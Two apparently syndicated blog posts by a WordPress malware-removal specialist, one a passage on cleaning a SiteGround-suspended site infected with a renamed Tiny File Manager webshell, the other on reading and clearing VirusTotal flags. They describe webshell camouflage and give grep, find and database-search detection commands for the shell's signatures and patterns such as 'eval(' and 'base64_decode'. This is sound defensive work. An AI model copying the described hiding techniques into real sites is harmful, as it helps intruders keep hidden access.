&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Scattering shells across &lt;code&gt;wp-includes&lt;/code&gt;, &lt;code&gt;wp-admin&lt;/code&gt;, the theme, and three different plugins is deliberate. It’s a &lt;strong&gt;distributed backdoor&lt;/strong&gt; : delete one and the attacker still has nine more doors. This is why a “found the bad file, deleted it” approach gets sites re-suspended within days.&lt;/p&gt;
&lt;h2&gt;
  
  
  What the malware actually was: a Tiny File Manager backdoor
&lt;/h2&gt;

&lt;p&gt;The headline file, &lt;code&gt;single-compiler.php&lt;/code&gt;, sat in the WooDmart theme folder at 181 KB with a modification date stomped to match the legitimate theme files around it (a 2020 timestamp), so it blended into a directory listing. WooDmart has no template called &lt;code&gt;single-compiler.php&lt;/code&gt; — the name simply borrows the theme’s &lt;code&gt;single-*.php&lt;/code&gt; convention to look native.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqmen5crrvt89837z9sw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqmen5crrvt89837z9sw0.png" alt="File manager showing single-compiler.php inside wp-content themes woodmart at 181 KB"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;single-compiler.php in the WooDmart theme directory — 181 KB and a stomped timestamp matching the real templates.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Opening it revealed it was not WordPress code at all. It was a renamed copy of &lt;strong&gt;Tiny File Manager&lt;/strong&gt; (the open-source “H3K / CCP Programmers” single-file PHP file manager), weaponized as a full webshell. Tiny File Manager is a legitimate admin tool, but dropped into a hacked site it gives an attacker a browser-based control panel to browse the entire document root, upload and edit any file, delete files, change permissions, build and extract archives, and pull remote payloads in via its “upload from URL” feature — all without ever touching &lt;code&gt;wp-admin&lt;/code&gt;. The copy here shipped with a hardcoded &lt;code&gt;admin&lt;/code&gt; account and a &lt;code&gt;noindex, nofollow&lt;/code&gt; meta tag so search engines wouldn’t surface it.&lt;/p&gt;

&lt;p&gt;The other 13 files were lighter secondary shells and loaders following the same camouflage logic. Based on the outdated WooDmart Core plugin present on the site (older versions carried a known PHP Object Injection flaw) and the timestamps, the most probable entry point was a vulnerable/outdated theme component or a reused admin credential — not a SiteGround server breach. I cover how persistent shells like this survive a “delete the file” cleanup in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/i-found-a-hidden-8220backdoor8221-in-a-clients-wordpress-site-5g0m"&gt;this backdoor breakdown&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  How to confirm a Tiny File Manager backdoor on your own site
&lt;/h2&gt;

&lt;p&gt;If SiteGround (or any host) flags files like these, these commands confirm the infection over SSH before you delete anything. Tiny File Manager carries unmistakable signatures:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hunt for Tiny File Manager signatures anywhere in the site&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"Tiny File Manager"&lt;/span&gt; wp-content/ wp-includes/ wp-admin/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"CCP Programmers"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rln&lt;/span&gt; &lt;span class="s1"&gt;'\$auth_users'&lt;/span&gt; wp-content/ wp-includes/ wp-admin/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rl&lt;/span&gt; &lt;span class="s2"&gt;"FM_SESSION_ID"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Core/plugin files that should not exist will fail checksum verification&lt;/span&gt;
wp core verify-checksums
wp plugin verify-checksums &lt;span class="nt"&gt;--all&lt;/span&gt;

&lt;span class="c"&gt;# Oversized or odd PHP hiding in the theme (a 181 KB "template" is a red flag)&lt;/span&gt;
find wp-content/themes/ &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-size&lt;/span&gt; +50k &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lh&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
find wp-content/themes/woodmart/ &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"single-*.php"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;wp core verify-checksums&lt;/code&gt; is the fastest way to expose the camouflaged core files — &lt;code&gt;embed-merge.php&lt;/code&gt;, &lt;code&gt;border-call.php&lt;/code&gt;, &lt;code&gt;class-wp-html-processor-url.php&lt;/code&gt; and &lt;code&gt;options-permalink-method.php&lt;/code&gt; all show up as files that don’t belong in a clean WordPress install. For a fuller detection routine, see my guide on &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-detect-wordpress-malware-before-it-ruins-your-business-49a"&gt;how to detect WordPress malware&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The cleanup, step by step
&lt;/h2&gt;

&lt;p&gt;SiteGround keeps the site quarantined while you work, but it gives you tools to operate. Under the Review modal’s &lt;strong&gt;More&lt;/strong&gt; button you’ll find &lt;strong&gt;Whitelist IP&lt;/strong&gt; (so you can reach the site to clean it) and &lt;strong&gt;Request Scan&lt;/strong&gt; (to re-check once you’re done).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7cwknr0lk4m4j75utpdd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7cwknr0lk4m4j75utpdd.png" alt="SiteGround More dropdown showing Request Scan and Whitelist IP options"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The More menu: Whitelist IP to regain access during cleanup, and Request Scan to trigger a free rescan (up to three per day).&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Whitelist my IP&lt;/strong&gt; via More → Whitelist IP, so I could reach File Manager and the site while everyone else stayed blocked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Take a forensic backup first.&lt;/strong&gt; Before deleting anything I copied the flagged files off-server so I had a record of the attack and a safety net.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Removed all 14 flagged files&lt;/strong&gt; , then hunted for siblings the scanner missed using the grep and checksum commands above. Host scanners rarely catch 100% — assume there are more.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Replaced the theme and core from clean sources.&lt;/strong&gt; I deleted the WooDmart folder and reinstalled it from a fresh download, and reinstalled WordPress core, rather than trusting files that had been tampered with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Checked the usual hiding spots&lt;/strong&gt; — &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;mu-plugins&lt;/code&gt;, the uploads directory, and &lt;code&gt;wp_users&lt;/code&gt;/&lt;code&gt;wp_options&lt;/code&gt; for rogue admins or injected autoloaded rows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hit Request Scan.&lt;/strong&gt; SiteGround re-scanned, returned clean, and the suspension lifted the same day. (Rescans are free, up to three per day.)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The broader version of this recovery — including what to do when the host won’t restore access and how to clean over FTP — is in my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/hosting-account-suspended-for-malware-the-complete-recovery-playbook-bluehost-siteground-1mp2-temp-slug-5940722"&gt;hosting account suspended malware recovery guide&lt;/a&gt;. I documented a similar host-level suspension on a different provider in this &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/bluehost-wordpress-site-hacked-how-i-recovered-an-account-with-1162-infected-files-and-a-403-2fh8-temp-slug-227222"&gt;Bluehost recovery case study&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I re-scanned with Wordfence after SiteGround cleared it
&lt;/h2&gt;

&lt;p&gt;A passing host scan is necessary, not sufficient. SiteGround’s scanner is signature-based and tuned to protect the server, not to give you a forensic all-clear — it sometimes misses lower-signal shells and injected database content. Once the site was back online I installed Wordfence and ran a full scan as an independent second opinion. It confirmed the file system was clean and surfaced nothing new, which is exactly the confirmation you want before you call a site recovered. Two different engines agreeing is far stronger than trusting one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening so the suspension doesn’t repeat
&lt;/h2&gt;

&lt;p&gt;A clean site that keeps the same passwords and the same vulnerable plugins gets reinfected. After the rescan passed, I:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Rotated &lt;strong&gt;every&lt;/strong&gt; password — WordPress admins, SiteGround account, FTP/SFTP, database, and email.&lt;/li&gt;
&lt;li&gt;Regenerated the &lt;strong&gt;secret keys and salts&lt;/strong&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to force-log-out any session an attacker still held.&lt;/li&gt;
&lt;li&gt;Updated WordPress core, the WooDmart theme, and all plugins to current versions, and removed anything nulled or unused.&lt;/li&gt;
&lt;li&gt;Disabled in-dashboard file editing (&lt;code&gt;define('DISALLOW_FILE_EDIT', true);&lt;/code&gt;), enabled two-factor on admin logins, and tightened file permissions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My full post-cleanup routine is in &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/what-to-do-after-fixing-a-hacked-wordpress-site-the-72-hour-verification-protocol-from-4500-2c8m-temp-slug-7327467"&gt;what to do after fixing a hacked WordPress site&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;The suspension was lifted the same day the cleanup finished, the storefront came back online, SiteGround’s rescan returned clean, and a follow-up Wordfence scan confirmed no reinfection. Total downtime was a single working session rather than the days a back-and-forth with support typically costs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.” &lt;cite&gt;Kendall Miller, Founder&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  When to get help
&lt;/h2&gt;

&lt;p&gt;If SiteGround has suspended your site and the evidence list looks anything like the one above — disguised PHP files scattered across core, theme, and plugins — the safe move is to remove every shell, not just the obvious one, before you request a rescan. I’ve cleaned &lt;strong&gt;4,500+ hacked WordPress sites&lt;/strong&gt; and lifted host suspensions on SiteGround, Bluehost, Hostinger, and more. If you’d rather not do it yourself, my &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;WordPress malware removal service&lt;/a&gt; handles the whole thing — diagnosis, cleanup, rescan, and hardening — or you can &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;hire me directly&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why did SiteGround suspend my site for malware?
&lt;/h3&gt;

&lt;p&gt;SiteGround runs automatic malware scans on hosted accounts. When the scanner finds malicious PHP — a webshell, backdoor, or injected loader — it temporarily suspends web access to protect its servers and IP reputation. The site stays quarantined until you remove the flagged files and pass a rescan.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does “Malware detected for your site(s)” mean in SiteGround?
&lt;/h3&gt;

&lt;p&gt;It means SiteGround’s scanner found malicious code in your hosting account and has suspended web access until it’s cleaned. Open the Client Area, click Review on the notification, then View Evidence to see the exact file paths. Remove every listed file (and any siblings), then use Request Scan.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is single-compiler.php a real WooDmart theme file?
&lt;/h3&gt;

&lt;p&gt;No. WooDmart has no &lt;code&gt;single-compiler.php&lt;/code&gt; template. The name copies the theme’s legitimate &lt;code&gt;single-*.php&lt;/code&gt; naming so it blends in. In this case it was a renamed Tiny File Manager — an open-source file manager weaponized as a backdoor. If you find it in your theme folder, delete it and scan for more shells.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do I get my SiteGround site unsuspended after malware?
&lt;/h3&gt;

&lt;p&gt;Whitelist your IP (Review → More → Whitelist IP) to regain access, remove every file in the View Evidence list plus any hidden siblings, replace tampered core/theme/plugin files from clean copies, then click Request Scan. A clean rescan lifts the suspension, usually within minutes to a few hours.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does SiteGround’s scanner catch all the malware?
&lt;/h3&gt;

&lt;p&gt;Not always. Host scanners are signature-based and can miss lower-signal shells or database injections. After SiteGround clears your site, run an independent scan with Wordfence or a manual file review. Two engines agreeing — plus a checksum verification of core and plugins — is a far stronger all-clear than one passing scan.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Last updated: April 2026 by &lt;a href="https://www.mdpabel.com/about/" rel="noopener noreferrer"&gt;MD Pabel&lt;/a&gt;, WordPress Security Specialist — 4,500+ sites cleaned.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>VirusTotal Flagged Your Website? What It Really Means — and How to Actually Get Removed</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Sat, 06 Jun 2026 04:04:08 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/virustotal-flagged-your-website-what-it-really-means-and-how-to-actually-get-removed-24eo</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/virustotal-flagged-your-website-what-it-really-means-and-how-to-actually-get-removed-24eo</guid>
      <description>&lt;p&gt;&lt;strong&gt;Quick answer&lt;/strong&gt; VirusTotal has no blacklist of its own and &lt;strong&gt;cannot add or remove your website&lt;/strong&gt;. It is an aggregator that mirrors the verdicts of 70+ antivirus engines and URL/domain blocklisting services. To clear a flag you fix the underlying problem on your site, then ask each &lt;em&gt;flagging vendor&lt;/em&gt; — not VirusTotal — to re-scan and clear you. A genuinely clean site that is flagged is usually a false positive; a flag that will not go away on a previously hacked WordPress site almost always means leftover malware.&lt;br&gt;
You scanned your domain on VirusTotal, saw something like &lt;em&gt;3 of 94 security vendors flagged this URL as malicious&lt;/em&gt;, and your first instinct was to find the “remove from VirusTotal” button. There isn’t one — and that is not a bug. Understanding why is the difference between wasting a week emailing the wrong people and getting your site cleared in a day or two. I’m MD Pabel, and I’ve cleaned more than 4,500 hacked WordPress sites. A misread VirusTotal report is one of the most common screenshots clients send me, usually with the same question: “How do I get off VirusTotal’s blacklist?” The short version is that VirusTotal doesn’t have one. Here’s what the screen actually means and exactly what to do about it.&lt;/p&gt;
&lt;h2&gt;
  
  
  VirusTotal is not a blacklist. It’s a mirror.
&lt;/h2&gt;

&lt;p&gt;VirusTotal is owned by Google and runs anything you submit — a file, URL, domain, or IP — through more than 70 antivirus engines and URL/domain blocklisting services at once. That’s its entire job: collect verdicts from many independent vendors and show them in one place. The part most people miss is that VirusTotal produces &lt;strong&gt;no verdict of its own&lt;/strong&gt;. It doesn’t decide your site is malicious. It reports what Kaspersky, BitDefender, Sophos, Google Safe Browsing, and the rest are saying about you, and it aggregates those answers into a tidy count. So “VirusTotal blacklisted my site” is technically impossible. What actually happened is that one or more of the engines VirusTotal queries flagged your domain, and VirusTotal is simply displaying their results together. Think of VirusTotal as a scoreboard, not the referee. Shouting at the scoreboard won’t change the score. You have to go to the officials who put the numbers up there.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why you can’t “remove” your site from VirusTotal
&lt;/h2&gt;
&lt;h2&gt;
  
  
  This trips up almost everyone, so it’s worth being blunt. Even in the rare case VirusTotal hid a flag on its own display, the people running the antivirus product that flagged you &lt;strong&gt;would still be blocked from your site&lt;/strong&gt;. The warning lives in the vendor’s database, not in VirusTotal’s. Only the vendor that flagged you can clear it. A couple of other quirks matter:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Domain reports don’t even carry a verdict.&lt;/strong&gt; A VirusTotal &lt;em&gt;domain&lt;/em&gt; page mostly shows relationships and history, not a malicious/clean ruling. The actionable verdicts come from &lt;em&gt;URL&lt;/em&gt; scans.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;VirusTotal caches results.&lt;/strong&gt; A site you fixed yesterday can keep showing an old verdict until the specific URL is re-scanned, which is why people panic when their “cleaned” site still looks flagged.&lt;br&gt;
The takeaway: the fix never lives inside VirusTotal. It lives at the source (your website) and at each vendor that flagged you.&lt;/p&gt;
&lt;h2&gt;
  
  
  First, figure out which problem you actually have
&lt;/h2&gt;

&lt;p&gt;Two completely different situations get lumped under “VirusTotal flagged my site,” and they have opposite fixes. Get this wrong and you’ll either waste weeks or, worse, send delisting requests for a site that is still infected.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;A true false positive.&lt;/strong&gt; Your site is genuinely clean and a vendor’s automated system flagged it by mistake. This is common with brand-new domains, aggressive heuristics, shared-hosting IP reputation, or a legitimate script that loads an unfamiliar external domain.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;A real, lingering infection.&lt;/strong&gt; Your site was hacked, you (or a plugin) “cleaned” it, but the flag persists because malware is still there or has already come back.
For WordPress sites, the second case is far more common — and it’s the one generic “just report a false positive” articles get dangerously wrong. If your site was hacked, the flag usually isn’t a mistake. It’s the symptom. (If your malware seems to keep returning no matter what you do, read &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/why-wordpress-malware-keeps-coming-back-and-how-to-stop-it-forever-4953"&gt;why WordPress malware keeps coming back&lt;/a&gt;.) Here’s how to tell which situation you’re in before you do anything else:&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;Likely a false positive&lt;/th&gt;
&lt;th&gt;Likely still infected&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Recent history&lt;/td&gt;
&lt;td&gt;No hack, nothing changed&lt;/td&gt;
&lt;td&gt;Site was hacked or you saw symptoms recently&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;What’s flagged&lt;/td&gt;
&lt;td&gt;Your root domain, no specific bad URL&lt;/td&gt;
&lt;td&gt;A specific path, file, or injected page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Which engines&lt;/td&gt;
&lt;td&gt;1–2 obscure engines&lt;/td&gt;
&lt;td&gt;Reputable engines (Google, major AVs), or the count is rising&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;The label&lt;/td&gt;
&lt;td&gt;“Suspicious”&lt;/td&gt;
&lt;td&gt;“Malware site,” “Phishing site,” “Malicious”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;On your site&lt;/td&gt;
&lt;td&gt;Nothing unusual in files or database&lt;/td&gt;
&lt;td&gt;Unknown files, redirects, spam pages, or new admin users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;After re-scan&lt;/td&gt;
&lt;td&gt;Clears, or stays at the same low number&lt;/td&gt;
&lt;td&gt;Comes back or increases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  How to read your VirusTotal report
&lt;/h2&gt;

&lt;p&gt;To contact the right people, you have to read the report correctly. Three things matter:&lt;/p&gt;
&lt;h3&gt;
  
  
  The detection count is not a severity score
&lt;/h3&gt;

&lt;p&gt;A result of “2 / 94” doesn’t mean your site is 2% bad. A single reputable engine labelling you a &lt;em&gt;malware site&lt;/em&gt; is far more serious than five obscure scanners flagging you. Likewise, “0 / 94” doesn’t guarantee you’re clean — it only means none of the engines on VirusTotal flagged you (more on that below). Treat the count as a starting point, not a grade.&lt;/p&gt;
&lt;h3&gt;
  
  
  The label tells you the type of problem
&lt;/h3&gt;

&lt;p&gt;Each engine returns a category: &lt;em&gt;clean&lt;/em&gt;, &lt;em&gt;unrated&lt;/em&gt; (never reviewed you), &lt;em&gt;suspicious&lt;/em&gt;, &lt;em&gt;malicious&lt;/em&gt;, &lt;em&gt;malware site&lt;/em&gt;, or &lt;em&gt;phishing site&lt;/em&gt;. Write down which engine reported which label. A “phishing site” verdict points to fake login or payment pages; a “malware site” verdict points to injected scripts or drive-by code. The label is your first clue about where to look on your own site.&lt;/p&gt;
&lt;h3&gt;
  
  
  Ignore the Community score
&lt;/h3&gt;

&lt;p&gt;The Community score is voted on by registered VirusTotal users and weighted by their reputation. It can be skewed by anyone with an account and is not a reliable signal. Don’t make decisions based on it. By the end of this step you should have a simple list: &lt;strong&gt;which vendors flagged you, and with what label.&lt;/strong&gt; That list is your to-do list — each vendor has its own delisting process. For the full diagnosis-to-delisting workflow across every blocklist, see my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/website-blacklisted-the-2026-diagnosis-038-delisting-playbook-from-4500-real-cleanups-1gd-temp-slug-7985374"&gt;website blacklist diagnosis and delisting playbook&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  If your WordPress site is genuinely infected (the usual case)
&lt;/h2&gt;

&lt;p&gt;Security engines flag &lt;em&gt;behavior&lt;/em&gt;, not appearance. Your homepage can look perfect while an injected script, a mobile-only redirect, a hidden spam directory, or a backdoor sits in your files or database. That’s why “but my site looks fine” is never proof of anything. If you’re comfortable on the command line, here are a few quick checks to confirm an infection before you assume it’s a false positive. (The full walkthrough is in my guide on &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-detect-wordpress-malware-before-it-ruins-your-business-49a"&gt;how to detect WordPress malware&lt;/a&gt;.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# PHP files modified in the last 7 days (common after a fresh hack)&lt;/span&gt;
find /path/to/wordpress &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-ls&lt;/span&gt;

&lt;span class="c"&gt;# PHP files inside uploads — there should be ZERO&lt;/span&gt;
find /path/to/wordpress/wp-content/uploads &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt;

&lt;span class="c"&gt;# Search the database for the most common injection patterns&lt;/span&gt;
wp db search &lt;span class="s1"&gt;'eval('&lt;/span&gt; &lt;span class="nt"&gt;--all-tables&lt;/span&gt;
wp db search &lt;span class="s1"&gt;'base64_decode'&lt;/span&gt; &lt;span class="nt"&gt;--all-tables&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here’s the part that catches people out: a single leftover backdoor re-infects a site within hours, and the next vendor scan re-flags you — sometimes &lt;em&gt;after&lt;/em&gt; you’ve already requested delisting, which makes you look like you’re crying wolf. I once watched a client fail a Google review three times until we traced the reinfection to a payload hidden in the database, not the files (&lt;a href="https://dev.to/md_pabel_fe07e07449db7326/failed-google-blacklist-review-how-i-found-hidden-database-malware-after-3-rejected-cleanup-2i9e-temp-slug-1304255"&gt;that case study is here&lt;/a&gt;). The rule: if you are not confident your site is 100% clean, requesting delisting is premature. You will fail the review and burn time.&lt;/p&gt;

&lt;h2&gt;
  
  
  The real removal process, step by step
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Clean the site completely.&lt;/strong&gt; Every backdoor, injected file, malicious database row, rogue admin user, and poisoned &lt;code&gt;.htaccess&lt;/code&gt; rule. Half-measures are why flags come back. (My &lt;a href="https://www.mdpabel.com/blog/wordpress-malware-removal-expert-guide-to-clean-hacked-wordpress-site/" rel="noopener noreferrer"&gt;expert malware-removal guide&lt;/a&gt; covers the process; the &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/what-to-do-after-fixing-a-hacked-wordpress-site-the-72-hour-verification-protocol-from-4500-2c8m-temp-slug-7327467"&gt;post-cleanup checklist&lt;/a&gt; covers what comes next.)&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify with more than one scanner.&lt;/strong&gt; Don’t trust a single tool. Cross-check with Sucuri SiteCheck, Quttera, and Google’s Safe Browsing status before you declare victory.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Re-scan the flagged URL on VirusTotal.&lt;/strong&gt; This clears VirusTotal’s cached result so it reflects your cleaned site, not the snapshot from when you were hacked.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Contact each flagging vendor directly.&lt;/strong&gt; Use an email address at your own domain (it helps prove ownership), include a link to the VirusTotal report, and attach proof of a clean scan. Submitting from a domain email with clean-scan evidence is the single biggest factor in getting a fast review.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Be patient with propagation.&lt;/strong&gt; Some vendors clear you within hours; others take days, and full propagation across every cache can take up to about 30 days. Don’t re-submit hourly — that doesn’t speed anything up.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Handle the vendors VirusTotal doesn’t show.&lt;/strong&gt; See the next section — this is the step people forget, and it’s why warnings persist in browsers even after VirusTotal reads 0 / 94.&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The vendors VirusTotal won’t show you
&lt;/h2&gt;

&lt;h2&gt;
  
  
  VirusTotal covers a lot of ground, but not everything. Several of the warnings that actually scare your visitors away come from sources that may never appear in your VirusTotal report:
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Google Safe Browsing&lt;/strong&gt; powers the red “Dangerous site” interstitial in Chrome, Firefox, and Safari — the warning the largest share of your visitors will actually hit. Check your status separately and request a review in Google Search Console under Security Issues. If Google is the problem, see my &lt;a href="https://www.mdpabel.com/google-blacklist-removal-service/" rel="noopener noreferrer"&gt;Google blacklist removal service&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Norton Safe Web&lt;/strong&gt; and similar reputation services often flag sites without showing up on VirusTotal. If Norton is warning on your domain, follow my &lt;a href="https://www.mdpabel.com/blog/norton-blacklist-removal-wordpress-malware-infection-spam-norton-virus-removal-guide/" rel="noopener noreferrer"&gt;Norton blacklist removal guide&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Avast and McAfee&lt;/strong&gt; each maintain their own URL reputation systems with their own submission forms. See &lt;a href="https://www.mdpabel.com/avast-blacklist-removal/" rel="noopener noreferrer"&gt;Avast blacklist removal&lt;/a&gt; and &lt;a href="https://www.mdpabel.com/mcafee-blacklist-removal/" rel="noopener noreferrer"&gt;McAfee blacklist removal&lt;/a&gt;.&lt;br&gt;
This is exactly why “0 detections on VirusTotal” doesn’t always mean every warning is gone. A clean VirusTotal report is encouraging, not final.&lt;/p&gt;
&lt;h2&gt;
  
  
  Want this handled instead?
&lt;/h2&gt;

&lt;p&gt;I’ll be honest: cleaning a hacked WordPress site and then chasing down every vendor that flagged you is tedious, and it’s easy to get wrong. The usual failure points are a hidden backdoor that triggers reinfection, a delisting request sent too early, or a warning source (like Google or Norton) that nobody checked. I’ve handled all three across more than 4,500 cleanups.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your site is flagged and you’d rather have a specialist clean it and clear every blocklist for you:&lt;/p&gt;

